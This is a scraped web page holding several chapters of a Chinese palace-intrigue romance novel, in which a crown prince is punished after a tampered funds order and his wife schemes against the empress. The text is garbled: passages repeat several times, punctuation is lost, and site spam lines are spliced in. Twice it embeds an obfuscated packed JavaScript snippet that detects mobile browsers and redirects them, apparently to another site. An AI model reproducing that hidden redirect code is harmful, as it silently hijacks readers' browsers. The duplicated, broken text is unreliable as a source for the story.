云清婳乜了他一眼,“你自己洗。” 裴墨染眼神一厉,大步上前,二话不说把人扛在肩头就往净室走去,“你怎么回事啊?之前非要帮我洗,这次我主动邀请,你还扭扭捏捏。” “我跟你之间必须得有一个人害羞是吗?那我娇羞!你还是当女流氓算了。” 她在他坚硬的背上砸了一拳,“放我下来!你才是流氓!” “你才是!”他顶嘴。 云清婳坐在浴池边,给他擦背,她安慰自己,就当看男模了。 毕竟裴墨染的身材真的顶。 只是全程她的脑子嗡嗡的。 因为裴墨染的嘴巴说个没完,他变成了话痨。 但是也不是不能理解,他们几乎一个月没怎么见面了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 好太子的本分。可身为太子,倘若连眼皮子底下的水深火热都置之不理,这样的东宫真的能被寄予厚望吗? 云清婳轻抚他的脑袋,“我懂!可是剿匪还要多久?夫君可知道裴云澈已经把手伸向勤政殿了? 裴墨染闹这一出,着实是任性了。 但是幸亏有她兜底! 所以啊,没有女主,所谓的男主也不怎么样。 是因为有了女主,男主才能被称为男主。 “我知道,我已经把剿匪的事交给副将了,我明日就回勤政殿。 他又不傻,哪能眼睁睁将东宫之位拱手让人? 尽管剿匪尚未完成,但游戏规则如此,他当下只能遵守。 等他成为制定游戏规则的人就好了。 “夫君好厉害,我就知道夫君会让我们母子三人过上好日子。她夸奖道。 裴墨染简直快要被她钓成翘嘴。 他傲娇道:“那是自然!我是拎不清的人吗?嫁给我,你就等着享福吧。 云清婳翻了个白眼。 说他胖,他还喘上了是吧? 狗男人! 眼尖的婢女早就抬了热水去净室,裴墨染脱下外袍,“蛮蛮,你帮我洗。 “…… 云清婳:??? 狗男人这次怎么不娇羞了? 居然奴役起她来了。 “我想你了,有好多话想跟你说。他不好意思看她,看起来有点娇羞。 好嘛,狗男人被她调教成粘人小狗了? 云清婳乜了他一眼,“你自己洗。 裴墨染眼神一厉,大步上前,二话不说把人扛在肩头就往净室走去,“你怎么回事啊?之前非要帮我洗,这次我主动邀请,你还扭扭捏捏。 “我跟你之间必须得有一个人害羞是吗?那我娇羞!你还是当女流氓算了。 她在他坚硬的背上砸了一拳,“放我下来!你才是流氓! 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节) “你才是!他顶嘴。 云清婳坐在浴池边,给他擦背,她安慰自己,就当看男模了。 毕竟裴墨染的身材真的顶。 只是全程她的脑子嗡嗡的。 因为裴墨染的嘴巴说个没完,他变成了话痨。 但是也不是不能理解,他们几乎一个月没怎么见面了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 好太子的本分。可身为太子,倘若连眼皮子底下的水深火热都置之不理,这样的东宫真的能被寄予厚望吗?” 云清婳轻抚他的脑袋,“我懂!可是剿匪还要多久?夫君可知道裴云澈已经把手伸向勤政殿了?” 裴墨染闹这一出,着实是任性了。 但是幸亏有她兜底! 所以啊,没有女主,所谓的男主也不怎么样。 是因为有了女主,男主才能被称为男主。 “我知道,我已经把剿匪的事交给副将了,我明日就回勤政殿。” 他又不傻,哪能眼睁睁将东宫之位拱手让人? 尽管剿匪尚未完成,但游戏规则如此,他当下只能遵守。 等他成为制定游戏规则的人就好了。 “夫君好厉害,我就知道夫君会让我们母子三人过上好日子。”她夸奖道。 裴墨染简直快要被她钓成翘嘴。 他傲娇道:“那是自然!我是拎不清的人吗?嫁给我,你就等着享福吧。” 云清婳翻了个白眼。 说他胖,他还喘上了是吧? 狗男人! 眼尖的婢女早就抬了热水去净室,裴墨染脱下外袍,“蛮蛮,你帮我洗。” “……” 云清婳:??? 狗男人这次怎么不娇羞了? 居然奴役起她来了。 “我想你了,有好多话想跟你说。”他不好意思看她,看起来有点娇羞。 好嘛,狗男人被她调教成粘人小狗了? 云清婳乜了他一眼,“你自己洗。” 裴墨染眼神一厉,大步上前,二话不说把人扛在肩头就往净室走去,“你怎么回事啊?之前非要帮我洗,这次我主动邀请,你还扭扭捏捏。” “我跟你之间必须得有一个人害羞是吗?那我娇羞!你还是当女流氓算了。” 她在他坚硬的背上砸了一拳,“放我下来!你才是流氓!” “你才是!”他顶嘴。 云清婳坐在浴池边,给他擦背,她安慰自己,就当看男模了。 毕竟裴墨染的身材真的顶。 只是全程她的脑子嗡嗡的。 因为裴墨染的嘴巴说个没完,他变成了话痨。 但是也不是不能理解,他们几乎一个月没怎么见面了。 你的朋友正在书荒,快去帮帮他吧 好太子的本分。可身为太子,倘若连眼皮子底下的水深火热都置之不理,这样的东宫真的能被寄予厚望吗? 云清婳轻抚他的脑袋,“我懂!可是剿匪还要多久?夫君可知道裴云澈已经把手伸向勤政殿了? 裴墨染闹这一出,着实是任性了。< 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但是也不是不能理解,他们几乎一个月没怎么见面了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 好太子的本分。可身为太子倘若连眼皮子底下的水深火热都置之不理这样的东宫真的能被寄予厚望吗?” 云清婳轻抚他的脑袋“我懂!可是剿匪还要多久?夫君可知道裴云澈已经把手伸向勤政殿了?” 裴墨染闹这一出着实是任性了。 但是幸亏有她兜底! 所以啊 说更新,记住域名caixs**(请来才小 说 看最新章节 完整章节)没有女主所谓的男主也不怎么样。 是因为有了女主男主才能被称为男主。 “我知道我已经把剿匪的事交给副将了我明日就回勤政殿。” 他又不傻哪能眼睁睁将东宫之位拱手让人? 尽管剿匪尚未完成但游戏规则如此他当下只能遵守。 等他成为制定游戏规则的人就好了。 “夫君好厉害我就知道夫君会让我们母子三人过上好日子。”她夸奖道。 裴墨染简直快要被她钓成翘嘴。 他傲娇道:“那是自然!我是拎不清的人吗?嫁给我你就等着享福吧。” 云清婳翻了个白眼。 说他胖他还喘上了是吧? 狗男人! 眼尖的婢女早就抬了热水去净室裴墨染脱下外袍“蛮蛮你帮我洗。” “……” 云清婳:??? 狗男人这次怎么不娇羞了? 居然奴役起她来了。 “我想你了有好多话想跟你说。”他不好意思看她看起来有点娇羞。 好嘛狗男人被她调教成粘人小狗了? 云清婳乜了他一眼“你自己洗。” 裴墨染眼神一厉大步上前二话不说把人扛在肩头就往净室走去“你怎么回事啊?之前非要帮我洗这次我主动邀请你还扭扭捏捏。” “我跟你之间必须得有一个人害羞是吗?那我娇羞!你还是当女流氓算了。” 她在他坚硬的背上砸了一拳“放我下来!你才是流氓!” “你才是!”他顶嘴。 云清婳坐在浴池边给他擦背她安慰自己就当看男模了。 毕竟裴墨染的身材真的顶。 只是全程她的脑子嗡嗡的。 因为裴墨染的嘴巴说个没完他变成了话痨。 但是也不是不能理解他们几乎一个月没怎么见面了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第265章 你想要嫁给小白脸? 云清婳打断他的喋喋不休,“夫君的背好白啊。” “……”裴墨染的声音戛然而止。 他登时有些羞赧,他一个大男人,白有什么好的? 没有男子气概! 但是想到蛮蛮喜欢小白脸,他窃喜起来。 “伤疤好多,都快看不清了。”她的指尖在他后背浅到几乎看不出的伤疤上摩挲。 裴墨染顿了顿,他笑了一声,“这是好几年前的伤疤。你夫君十二岁就上战场了,厉害吧?” “……” 他一回头就看见云清婳双眼噙着泪,眼眶通红,可怜极了。 “你怎么哭了?”他的心像是被一根细细密密的绣花针刺中,他伸出胳膊,心疼地给她擦眼泪,“我早就不疼了,这只是皮外伤。” 他嬉皮笑脸,打趣道:“你又不是第一次看我身子,哭什么?” “夫君,我心疼你嘛。”她身子前倾,抱着他的脖子。 裴墨染的心泛着酸意,但这点微不足道的酸意很快就化为温暖、幸福。 只有陷入低谷的人会不断计较别人带来的伤害。 幸福的人是不会回头看的。 他抓住了幸福,抓住了蛮蛮,这就够了。 皇后的自私、皇上的无情,他早就看透了。 “真傻。”裴墨染抓住她的手腕,将她拖下浴池。 云清婳惊呼了一声,“干嘛呀?唔……” 裴墨染以吻封缄,在水中与她缱绻。 鱼水之欢好似浪花强烈地拍打着岸边的礁石。 云清婳面颊潮红,眼中沁出迷情的水意。 狗男人这下感动了吧? 知道这世上谁对他最好,谁对他虚情假意了吧? 裴墨染担心云清婳着凉,点到为止,将她抱上了床榻。 “继续?”他在她的鬓角亲了亲。 云清婳钻进被褥,她伸出脚,在他腿上踹了一脚,“你明日还要上朝呢。” “无妨。”他俯身将她压下。 她的双腿发颤。 狗男人,明日被皇上惩戒就老实了! 云清婳的眼泪说流就流,“夫君都不知道心疼人!一出门就是一个月,整日打打杀杀,满身血腥,回家就欺负我。” “要是当初我听爹爹的话嫁给文官就好了定不会被这么欺负平日还能陪着我赏花游湖吟诗作对。” 裴墨染的心中窜起了无名怒火。 小妮子又嫌弃他了还想要嫁给小白脸? 他的牙齿在她的耳垂上厮磨“又嫌弃我了是吧?又喜欢书生了是吧?” 裴墨染报复性的攻城略地云清婳不断求饶。 不知过了多久挂在如意钩上的宫铃才停了响声。 云清婳像是从水中被捞出来眼皮沉得睁不开。 裴墨染将她搂在怀里 “不过我不会吟诗作对咳……也不是不会……我可以学。”他傲娇中带着小心翼翼。 可回答他的只有均匀的呼吸声。 裴墨染哑然失笑。 …… 翌日退朝后皇上将裴墨染叫到了御书房。 裴墨染一个月前处理的国库拨款错了一个数幸亏被裴云澈、户部官吏及时发现才没酿成大祸。 皇上将一本拨款令砸到裴墨染的脸上怒道:“混账!你不识数吗?十一万两纹银为何变成了一万两?” “太子你究竟在想什么?近一个月懒政怠政整日沉迷剿匪莫不是剿匪有利可图?” 裴墨染看到了拨款令的内容眸子一滞。 拾壹万两纹银中的‘拾’被滴下了一个墨点。 所以拨款变成了“壹万两”。 剩下的十万两就像是被他私吞了。 “父皇儿臣冤枉!十万两巨款儿臣就算再胆大包天也不敢以如此明目张胆、低劣的手段私吞啊!”裴墨染拱手字字铿锵道。 皇上冷嘁讥诮地瞥了他一眼“云澈你说!” 裴云澈露出担忧的表情他拱手道:“还是请户部侍郎来说吧。” “是。”户部侍郎出列他跪在地上“陛下臣记得太子殿下拿来拨款令勒令打开国库时拨款令上的确是十一万两。可不知为何后面变成了一万两幸亏银子还未离京。” “殿下要当心啊您的一言一行皆被人注视倘若真发生了什么意外 本王愿意相信你,可是旁人就不一定了。裴云澈四两拨千斤地说。 裴墨染的眸子讳莫如深。 看来,勤政殿混入裴云澈的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106264|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 定是裴云澈派人将拨款令弄脏,随后大做文章! “请父皇严查,拨款令虽然被歹人污染,但儿臣早将急报送去边关,边关将士皆知拨款数额是十一万,儿臣采买辎重完毕,便会派人押送过去。裴墨染拱手道。 真当他没做二手准备吗? 自从入主东宫,他事事小心,每一个决断都跟诸葛贤、祝国公等人反复推敲,确保万无一失。 裴云澈却不慌不忙,甚至戏谑的瞥了他一眼。 砰—— 皇上狠狠拍响桌案,他叱骂:“你还百般狡辩,不知悔改!这就是你的态度?边关离京城几百几千里,朕难道要为了你大费周章的查证不成?倘若你细致小心,怎会出这种纰漏? “太子若是心不在勤政殿,大可以退位让贤!滚出去跪着! “拨款事宜全权由云澈负责! 裴墨染的心微颤。 他的心中除了不甘、羞恼、委屈,更多的却是坦然。 这一次,他记住了。 一招不慎,满盘皆输。 他疏忽了,所以被裴云澈这个小人趁虚而入,他认! “是。裴墨染面无表情地起身,不急不缓地走出御书房。 他面露坚毅,掀开衣袍下摆,双膝跪在反光的方砖上,他的脊梁挺得笔直,如松柏般坚韧。 很快,御书房内传出了洪亮的笑声。 裴云澈三言两语就能将皇上逗笑。 而皇上面对裴云澈宛若一个慈父,向来没什么架子。 他就像是一个毫不相干的外人。 裴墨染感到一阵悲凉凄楚,手缓缓攥紧,但却看到腰间坠下的荷包时,虚浮无依的心有了归处。 他的薄唇勾出浅浅的弧度,心安了。 他有蛮蛮,有孩子。 他不是一个人。 吱呀—— 门被推开,裴云澈走了出来。 他垂眸,奚落地睨着裴墨染。 目光带着几分施舍、怜悯,像在看可怜虫。 “是你太不了解父皇了,还是太幼稚了?父皇怎会因为一件小事,千里迢迢调查真相?父皇愿意相信的,就是真相。裴云澈戏谑地摇了摇折扇。 裴墨染自嘲般的冷笑,“受教了。 第266章 罚跪 是他天真了,再一次把皇上当作父亲。 无情如帝王,于皇上而言,事情得到解决就好,至于真相如何不重要。 他今日喊冤,却拿不出证据,于皇上而言是无能的表情,皇上只会觉得他麻烦。 裴云澈一愣,似乎意外裴墨染的反应,他俯下身,轻声道:“剿匪好玩吗?你的东宫之位,还能坐多久?” “……”裴墨染不语。 他的剑眉一沉再沉,心中煎熬。 …… 日暮西垂,天幕渐黑裴墨染都没有回东宫。 云清婳一打听,得知了裴墨染罚跪的事,她不屑地笑了。 “自找的!活该!”云清婳倒在柔软的贵妃榻上,眼角上翘,颇有几分魅色。 飞霜的眉头皱得都快能夹死一只苍蝇,“主子,皇上这次极为恼怒,殿下都快罚跪四个时辰了,东宫颜面尽失。” “谁让他不听话?什么拨款令?都是借口!皇上就是在借题发挥,故意给裴墨染下马威。 其他儿子都知道讨好皇帝,他倒好,不听皇帝的话,还整天唱反调。皇帝说他,他还振振有词的顶嘴。搁谁谁喜欢?”云清婳翻了个白眼。 狗男人真是拎不清! 当他自己是裴云澈、承基? 居然跟皇帝对着干。 在不喜欢自己的人面前,要收敛、卖乖。生在帝王家,他连这么简单的道理都不明白,也活该罚跪。 “主子,您帮帮殿下吧,奴婢担心殿下的膝盖会废掉。这样跪下去就算不残疾,怕日后也会风湿。”飞霜担忧道。 “不急。”云清婳从水晶盘中扎了一颗葡萄吃。 让他长长记性也好。 轰隆—— 闷热的夏日在一声电闪雷鸣中落下帷幕,淅淅沥沥的雨倾盆而下。 黏腻的潮湿感化为实质落下,清凉的风终于吹进了寝殿。 “带着孩子进宫吧。”云清婳无奈地扯了下唇角。 婢女麻利地从纱橱里拿出太子妃服制,飞霜命人给承基、辞忧穿上新做的虎头兜帽。 “太子妃这是要用皇孙替殿下求情?”万嬷嬷的眼中含着心疼。 云清婳似笑非笑道:“无召不得入宫,更何况,我一介妇道人家,哪敢干 政?我去看看皇祖母罢了。” 万嬷嬷悬起来的心终于落下。 虽然太子妃嘴上不承认但她知道太子妃此次进宫就是为了‘救’殿下。 这么一场暴雨落下就算是铁打的人都受不住啊。 更何况宫中已经传开了殿下已经跪了快四个时辰了。 …… 风飘飘雨潇潇暴雨如注。 云清婳抱着承基飞霜抱着辞忧太监宫女撑着伞护送着他们保证孩子淋不到一丝丝雨水。 电闪雷鸣轰隆的雷声惊心动魄 雷电时不时把云清婳的脸庞照亮一明一暗看起来有几分骇人。 “怕不怕啊?”云清婳柔声问。 承基、辞忧摇摇头他们睁着远远的葡萄眼饶有兴趣地看着远处的天空上的闪电。 似乎对自然现象很新奇。 “公子跟小姐还是第一次看闪电打雷呢真勇敢。”飞霜夸奖道。 “嘿嘿……”承基、辞忧听懂了夸奖开心地笑了。 云清婳分别在承基、辞忧的胖嘟嘟的脸蛋上亲了一口。 不愧是她的孩子! 在御花园外的岔路口上云清婳停驻了脚步。 “主子咱们这就去慈宁宫?”飞霜看向长廊。 “不!”云清婳的眼中倒映着曲折盘虬的闪电的光影“我们去翊坤宫!” 飞霜的脸色变得凝重她压低声音道:“主子苏家发生了那种丑事皇后还把罪名安在我们身上现在送上门去岂不是狼入虎口?万万不可啊。” 云清婳的脸上露出讥诮“我求之不得呢。” 倘若她凭借孩子顺利求情裴墨染或许会觉得这是她应该做的亦或许会感动感激可她要他的感激有什么用? 何不借着这次机会让裴墨染憎恨皇后拉拉仇恨? “好吧……”飞霜快要哭了一副英勇就义的表情。 “你怕什么?有免死金牌在皇后能奈我们何?”说着云清婳颠了颠怀里的小胖墩。 飞霜的心顿时放回肚子里。 是啊有皇孙在皇后就算再糊涂也不敢做出伤害皇孙的事。 …… 另一边。 御书房。 雨水击打着屋檐,噼里啪啦、密密麻麻的雨声落下,像是珠子叩击玉盘。 太监总管跟御前嬷嬷时不时张望着门外。 咚—— 皇上将玉盏放下,他状似不经意地问:“他还在外面跪着?” 他是谁,不言而喻。 “自然,没有皇上的命令,太子岂敢擅自离开?”御前太监恭敬地回答。 皇上面无波澜,捏着奏折的指尖泛出乳白色,“愚蠢!” 他从未见过像裴墨染这么轴,这么倔的皇子! 换做其他的皇子早就在门外叫苦连天,或者让御前太监帮着传话,说自己知错了,求父皇原谅。 可这个闷葫芦,不声不响就跪了一下午,是在跟他叫板吗? “奴才方才瞅了一眼,太子浑身都湿透了,此事传出去不好听也不好看啊。”御前太监叹息着。 皇上冷哼一声。 他的确有意饶了裴墨染。 可如此一来,岂不是显得他在让步、他在求和? 他可是天子,可是皇上,作为父亲,哪有父亲向儿子道歉的? “既然他非要跟朕叫板,朕倒是要看看他的骨头有多硬!”皇上垂下眼,继续看奏折。 御前嬷嬷跟太监总管无奈地对视,二人摇摇头。 父子俩的脾气实在太像了,针尖对麦芒,谁都不肯让步。 明明只要各退一步就好了。 太子殿下也真是的,认个错有这么难吗? …… 翊坤宫。 皇后跟裴云澈正坐在桌前用膳。 她的眼中含着殷切的笑意,她给裴云澈夹了一个饺子,“云澈,你尝尝,这是母后刚才包的羊肉馅饺子。” 裴云澈根本无心吃饺子。 吃了这么多年,他早就腻了。 他看着皇后,不由得想到在万寿节,她害他丢得丑。 “母后,《开元棋谱》究竟是怎么回事?上次你把棋谱给儿臣,险些害死儿臣。”他不冷不淡地抱怨。 皇后的眼中迸发出心虚跟愧疚,“云澈,母后也不知聚宝楼掌柜是骗子啊!聚宝楼开了这么多年,谁知突然就出了赝品?母后想要找掌柜问罪,可聚宝楼早已人去楼空。咱们母子是被人算计了啊!” 他狠狠掐了下眉心,吐出一口浊气,“母后,求您日后不要干涉儿臣了!” 只要皇后插手,就会拖他后腿! 因为皇后没有气度、没有智慧、眼界狭隘,难怪父皇不喜她,而是喜欢他的亲生母亲。 换做是谁,也不会喜欢这种女人。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 另一边。 御书房。 雨水击打着屋檐噼里啪啦、密密麻麻的雨声落下像是珠子叩击玉盘。 太监总管跟御前嬷嬷时不时张望着门外。 咚—— 皇上将玉盏放下他状似不经意地问:“他还在外面跪着?” 他是谁不言而喻。 “自然没有皇上的命令太子岂敢擅自离开?”御前太监恭敬地回答。 皇上面无波澜捏着奏折的指尖泛出乳白色“愚蠢!” 他从未见过像裴墨染这么轴这么倔的皇子! 换做其他的皇子早就在门外叫苦连天或者让御前太监帮着传话说自己知错了求父皇原谅。 可这个闷葫芦不声不响就跪了一下午是在跟他叫板吗? “奴才方才瞅了一眼太子浑身都湿透了此事传出去不好听也不好看啊。”御前太监叹息着。 皇上冷哼一声。 他的确有意饶了裴墨染。 可如此一来岂不是显得他在让步、他在求和? 他可是天子可是皇上作为父亲哪有父亲向儿子道歉的? “既然他非要跟朕叫板朕倒是要看看他的骨头有多硬!”皇上垂下眼继续看奏折。 御前嬷嬷跟太监总管无奈地对视 父子俩的脾气实在太像了针尖对麦芒谁都不肯让步。 明明只要各退一步就好了。 太子殿下也真是的认个错有这么难吗? …… 翊坤宫。 皇后跟裴云澈正坐在桌前用膳。 她的眼中含着殷切的笑意她给裴云澈夹了一个饺子“云澈你尝尝这是母后刚才包的羊肉馅饺子。” 裴云澈根本无心吃饺子。 吃了这么多年他早就腻了。 他看着皇后不由得想到在万寿节她害他丢得丑。 “母后《开元棋谱》究竟是怎么回事?上次你把棋谱给儿臣险些害死儿臣。”他不冷不淡地抱怨。 皇后的眼中迸发出心虚跟愧疚“云澈母后也不知聚宝楼掌柜是骗子啊!聚宝楼开了这么多年谁知突然就出了赝品?母后想要找掌柜问罪可聚宝楼早已人去楼空。咱们母子是被人算计了啊!” 他狠狠掐了下眉心吐出一口浊气“母后求您日后不要干涉儿臣了!” 只要皇后插手就会拖他后腿! 因为皇后没有气度、没有智慧、眼界狭隘难怪父皇不喜她而是喜欢他的亲生母亲。 换做是谁也不会喜欢这种女人。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 另一边。 御书房。 雨水击打着屋檐,噼里啪啦、密密麻麻的雨声落下,像是珠子叩击玉盘。 太监总管跟御前嬷嬷时不时张望着门外。 咚—— 皇上将玉盏放下,他状似不经意地问:“他还在外面跪着?” 他是谁,不言而喻。 “自然,没有皇上的命令,太子岂敢擅自离开?”御前太监恭敬地回答。 皇上面无波澜,捏着奏折的指尖泛出乳白色,“愚蠢!” 他从未见过像裴墨染这么轴,这么倔的皇子! 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换做是谁,也不会喜欢这种女人。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 另一边。 御书房。 雨水击打着屋檐,噼里啪啦、密密麻麻的雨声落下,像是珠子叩击玉盘。 太监总管跟御前嬷嬷时不时张望着门外。 咚—— 皇上将玉盏放下,他状似不经意地问:“他还在外面跪着? 他是谁,不言而喻。 “自然,没有皇上的命令,太子岂敢擅自离开? 皇上面无波澜,捏着奏折的指尖泛出乳白色,“愚蠢! 他从未见过像裴墨染这么轴,这么倔的皇子! 换做其他的皇子早就在门外叫苦连天,或者让御前太监帮着传话,说自己知错了,求父皇原谅。 可这个闷葫芦,不声不响就跪了一下午,是在跟他叫板吗? “奴才方才瞅了一眼,太子浑身都湿透了,此事传出去不好听也不好看啊。御前太监叹息着。 皇上冷哼一声。 他的确有意饶了裴墨染。 可如此一来,岂不是显得他在让步、他在求和? 他可是天子,可是皇上,作为父亲,哪有父亲向儿子道歉的? “既然他非要跟朕叫板,朕倒是要看看他的骨头有多硬!皇上垂下眼,继续看奏折。 御前嬷嬷跟太监总管无奈地对视,二人摇摇头。 父子俩的脾气实在太像了,针尖对麦芒,谁都不肯让步。 明明只要各退一步就好了。 太子殿下也真是的,认个错有这么难吗? …… 翊坤宫。 皇后跟裴云澈正坐在桌前用膳。 她的眼中含着殷切的笑意,她给裴云澈夹了一个饺子,“云澈,你尝尝,这是母后刚才包的羊肉馅饺子。 裴云澈根本无心吃饺子。 吃了这么多年,他早就腻了。 他看着皇后,不由得想到在万寿节,她害他丢得丑。 “母后,《开元棋谱》究竟是怎么回事?上次你把棋谱给儿臣,险些害死儿臣。他不冷不淡地抱怨。 皇后的眼中迸发出心虚跟愧疚,“云澈,母后也不知聚宝楼掌柜是骗子啊!聚宝楼开了这么多年,谁知突然就出了赝品?母后想要找掌柜问罪,可聚宝楼早已人去楼空。咱们母子是被人算计了啊! 他狠狠掐了下眉心,吐出一口浊气,“母后,求您日后不要干涉儿臣了! 只要皇后插手,就会拖他后腿! 因为皇后没有气度、没有智慧、眼界狭隘,难怪父皇不喜她,而是喜欢他的亲生母亲。 换做是谁,也不会喜欢这种女人。 你的朋友正在书荒,快去帮帮他吧 另一边。 御书房。 雨水击打着屋檐,噼里啪啦、密密麻麻的雨声落下,像是珠子叩击玉盘。 太监总管跟御前嬷嬷时不时张望着门外。 咚—— 皇上将玉盏放下,他状似不经意地问:“他还在外面跪着?” 他是谁,不言而喻。 “自然,没有皇上的命令,太子岂敢擅自离开?”御前太监恭敬地回答。 皇上面无波澜,捏着奏折的指尖泛出乳白色,“愚蠢!” 他从未见过像裴墨染这么轴,这么倔的皇子! 换做其他的皇子早就在门外叫苦连天,或者让御前太监帮着传话,说自己知错了,求父皇原谅。 可这个闷葫芦,不声不响就跪了一下午,是在跟他叫板吗? “奴才方才瞅了一眼,太子浑身都湿透了,此事传出去不好听也不好看啊。”御前太监叹息着。 皇上冷哼一声。 他的确有意饶了裴墨染。 可如此一来,岂不是显得他在让步、他在求和? 他可是天子,可是皇上,作为父亲,哪有父亲向儿子道歉的? “既然他非要跟朕叫板,朕倒是要看看他的骨头有多硬!”皇上垂下眼,继续看奏折。 御前嬷嬷跟太监总管无奈地对视,二人摇摇头。 父子俩的脾气实在太像了,针尖对麦芒,谁都不肯让步。 明明只要各退一步就好了。 太子殿下也真是的,认个错有这么难吗? …… 翊坤宫。 皇后跟裴云澈正坐在桌前用膳。 她的眼中含着殷切的笑意,她给裴云澈夹了一个饺子,“云澈,你尝尝,这是母后刚才包的羊肉馅饺子。” 裴云澈根本无心吃饺子。 吃了这么多年,他早就腻了。 他看着皇后,不由得想到在万寿节,她害他丢得丑。 “母后,《开元棋谱》究竟是怎么回事?上次你把棋谱给儿臣,险些害死儿臣。”他不冷不淡地抱怨。 皇后的眼中迸发出心虚跟愧疚,“云澈,母后也不知聚宝楼掌柜是骗子啊!聚宝楼开了这么多年,谁知突然就出了赝品?母后想要找掌柜问罪,可聚宝楼早已人去楼空。咱们母子是被人算计了啊!” 他狠狠掐了下眉心,吐出一口浊气,“母后,求您日后不要干涉儿臣了!” 只要皇后插手,就会拖他后腿! 因为皇后没有气度、没有智慧、眼界狭隘,难怪父皇不喜她,而是喜欢他的亲生母亲。 换做是谁,也不会喜欢这种女人。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第267章 皇后注意体面 “云澈,母后也是想帮你,你怪母后不成?母后也是好心办了坏事。”皇后不停地往他的碗里夹着饺子。 裴云澈看着面前堆起来的饺子,一点胃口都没有了。 他放下筷子,“母后,儿臣吃好了。” 皇后并不在意裴云澈的疏远,她看向金嬷嬷,吩咐道:“把饺子收起来,等会儿端给墨染吃。” 金嬷嬷:…… 她的眼里流露出几分心疼。 虽然贤王没吃几口,但这也算是剩菜剩饭了。 更何况殿下上次明确说了讨厌羊肉,皇后娘娘怎么能这样对待太子殿下呢? “娘娘,殿下还在御书房罚跪呢,吃不了。” “皇上也真是的,罚了这么久,气也该消了吧?”皇后的眼中闪过心疼,但想到什么,眼中的痛惜很快就消失不见。 突然,她话锋一转:“墨染就是被云清婳这个**迷惑了!好端端的剿什么匪?让他淋淋雨也好,脑子清醒了,就不会犯傻了。” 话音刚落,裴云澈就凉凉地看着她。 皇后知道裴云澈在怪她说云清婳的不是。 “云澈,你又要维护**,不惜伤害母后?”她目光灼**盯着他的脸,痛心地质问。 裴云澈只觉得烦人,他懒得搭理皇后。 一把年纪了,整日就知道跟蛮蛮过不去! 她嫉妒蛮蛮不成? “万寿节的事你不会不知道吧?明摆着是云清婳设局害了你表哥跟表妹!云澈,你看清了没?她就是个**。”皇后拉着他的胳膊,絮絮不止。 裴云澈脸上的敷衍、不耐溢于言表。 他了解蛮蛮。 蛮蛮从不主动出手,必是苏家人犯贱在先,他就喜欢蛮蛮这般聪慧灵动、杀伐果决的女子。 就在这时,太监跑了进来,他弓着腰,“皇后娘娘,太子妃跟皇孙求见。” “真是说**,**就到!她把玉林跟雨荷害得这么惨,她还有胆子来?”皇后的眼珠子都快瞪出来。 金嬷嬷福福身,“皇后娘娘,外面疾风骤雨的,皇孙可不能受凉啊。” 皇后有些动容,“让她进来吧。” 少顷,云清婳、飞霜抱着孩子走进了寝殿。 裴云澈看到 云清婳眼睛都亮了,他上前一步,可碍于四下的宫女、太监都在,他还是硬生生止住了步伐。 皇后将裴云澈的异动收在眼底,她的太阳穴突突的疼。 她最骄傲、儒雅的儿子,居然被狐狸精迷得晕头转向,不顾礼义廉耻! “你怎么来了?”皇后冷冷地问。 云清婳福福身,情真意切道:“臣妾求皇后娘娘为夫君求情。” 皇后微微一怔,她的确想过为墨染求情,可是…… “呵,云清婳,你居然也有求本宫的一日,真是让人意外!”皇后悠悠地捏着茶杯,抿了一口茶水。 过了好一会儿,她才放下茶杯。 皇后面露讥诮,眼中满是复仇的快意,“你陷害玉林、雨荷,抹黑苏家,逼本宫惩戒他们的时候有没有想到今日?你现在知道求本宫了?” “皇后娘娘,万寿节那日着实是意外,更何况一码归一码,求您看在皇孙的面子上,救救殿下。”云清婳垂下脑袋,一副虔诚、真挚的模样。 皇后冷不丁笑了,“呵……云清婳,求人得有求人的样子!想要本宫为墨染求情很简单,你给本宫跪下磕头,跟灵音、雨荷、玉林道歉!” 裴云澈的脸垮了下去,他的手缓缓攥紧。 他的眸子漆黑,不解地看着云清婳。 其实他不懂,为何蛮蛮要替裴墨染求情! 裴墨染**岂不是更好? 云清婳回头看了眼门外,庭院中,王显的身影匆匆离去。 这就够了! “娘娘说笑了!您连自己的亲儿子都不知道心疼,我一个外人就更没必要心疼了!”云清婳扬起脑袋,态度傲慢,“言至于此,我仁至义尽!身为太子妃,我的职责尽到了!至于旁人会不会指摘您,我就不知道了。” 裴云澈的心放回了肚子里。 原来如此! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111152|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛮蛮只是担心被人指摘,所以做做样子罢了。 根本不是真心想救裴墨染。 皇后的眼眸瞪得硕大,她被云清婳的态度惊到了。 她似乎没想到云清婳这么猖狂! 演都不演了! “好啊,你竟然连演都不演了?你暴露本性了!”皇后指着她,表情狰狞,“你这个**,对墨染岂有一丝 真情?枉本宫还以为你真心来求情! 